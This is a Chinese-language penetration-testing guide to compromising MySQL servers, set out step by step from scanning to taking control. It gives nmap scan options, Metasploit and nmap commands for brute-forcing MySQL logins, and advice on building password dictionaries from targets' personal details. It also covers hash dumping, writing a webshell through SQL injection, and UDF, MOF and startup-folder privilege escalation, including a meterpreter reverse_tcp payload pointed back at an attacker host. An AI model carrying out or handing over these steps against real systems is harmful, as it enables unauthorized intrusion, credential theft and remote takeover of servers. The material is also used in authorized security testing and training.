目录
一、渗透攻击MySQL
1.1、第一步:信息收集
db_nmap扫描(内置、外置都可)
目标发现 -iL #添加扫描ip列表文件 -iR #随机选择目标 #不用指定目标ip,nmap对全球的ip随机选择100个进行扫描 --exclude #排除扫描
主机发现 -sn #ping扫描,不扫描端口 -Pn #完全扫描(穿透防火墙) -PS/PA/PU/PY[portlist] #协议扫描,TCP、SYN/ACK、UDP、SCTP ,基于上述协议扫描端口 -PO[protocol list] #使用ip协议扫描 -n/-R -n: #不进行nds解析 -R: #对其进行反向解析 --dns-servers #更换DNS服务器为得到不同的扫描结果 --traceroute #路由追踪,等同于traceroute命令
端口发现 -sS/sT/sA/sW/sM #基于TCP的端口发现(SYN全连接 ACK窗口 Maimon扫描) -sU #基于UPD协议的扫描,但是UDP的扫描的准确率并不高 -sN/sF/sX #基于TCP的空/finish/xmas的扫描 --scanflags <flags> #对TCP的扫描,是对tcpflags位的组合,可以自定义组合 -sI #僵尸扫描 -sY/sZ #基于SCTP协议(少用) -b #基于FTP的中继扫描
端口和扫描菜单 -p #扫描特定类型端口/范围 --exclude-ports #排除不需扫描的端口范围 -F #快速扫描 -r #按顺序扫描 namp默认每次扫描中随机选择(常用端口的top n),-r会使namp按照从大到小的顺序进行
服务/版本探测 -sV --version-intensity --version-trace 对扫描过程进行跟踪,显示扫描的具体过程
Metasploit模块
#获取MySQL相关信息 auxiliary/admin/mysql/mysql_enum auxiliary/scanner/mysql/mysql_version #文件枚举和目录可写信息枚举 auxiliary/scanner/mysql/mysql_file_enum auxiliary/scanner/mysql/mysql_writable_dirs
sqlmap
通过注入点利用,获取数据库相关信息
1.2、第二步:获取服务器权限(爆破)
如果目标服务器开启3389端口,并且允许远程访问,可以采取爆破MySQL用户密码,获取MySQL的权限
MySQL 口令爆破
爆破成功的几率很低几乎为零,除非管理员用的是弱口令。通过社工可以提高一定成功率,通过收集各种信息,例如姓名、社交平台账号/昵称、手机号、生日、伴侣姓名/生日、职业等信息,通过信息生成针对性的字典,利用该字典进行爆破
1、metasploit相关模块爆破 use auxiliary/scanner/mysql/mysql_login set RHOSTS 192.168.x.x set pass_file /tmp/wordlists.txt # 设置字典 set username root run
2、nmap扫描并破解 nmap --script=mysql-brute.nse <ip> -p 3306 自定义账号、密码 nmap --script=mysql-brute.nse userdb=/tmp/passdb.txt passdb=/tmp/pass.txt 192.168.1.13 -p 3306 检查mysql root空口令 nmap --script=mysql-empty-password.nse <ip>
哈希值爆破
auxiliary/scanner/mysql/mysql_hashdump 导出在当前登陆用户权限下可以查看账户的密码hash
泄露的源码中寻找数据库密码
网站的配置文件中大多含有数据库的连接配置,如数据库用户名、密码等配置信息 eg:config connect等
向服务器写WebShell
前提:存在sql注入漏洞、当前用户具有写入权限、目标网站Web物理路径、secure_file_priv 选项支持数据导出 高版本的MYSQL添加了secure_file_priv,对导出文件做了限制: 1、输出目录路径应该secure_file_priv值一致,才能导出。 2、若其值为空,则无限制。 3、值为 NULL 时,表示不允许导入或导出
1.3、第三步:提权
UDF提权(UDF提权)
use exploit/multi/mysql/mysql_udf_payload set rhosts 192.168.x.x set username root set password root run MSF会将一个随机命名的UDF文件写入lib/plugin目录下(该目录不存在,则无法成功),该UDF文件中包含sys_exec()和sys_eval()这两个函数,但是默认只创建sys_exec()函数,该函数执行不会有回显。 可以手动引入 sys_eval() 函数,来执行有回显的命令 create function sys_eval returns string soname 'guuHCUiK.dll';
Mof提权
exploit/windows/mysql/mysql_mof
MySQL启动项提权
use exploit/windows/mysql/mysql_start_up set payload windows/meterpreter/reverse_tcp set lhost 192.168.x.x set lport 4444 set rhosts x.x.x.x set username root set password root set startup_folder xxx # 根据目标系统进行设置自启目录 run
1.4、第四步:MySQL 0day 漏洞
网上查询了去利用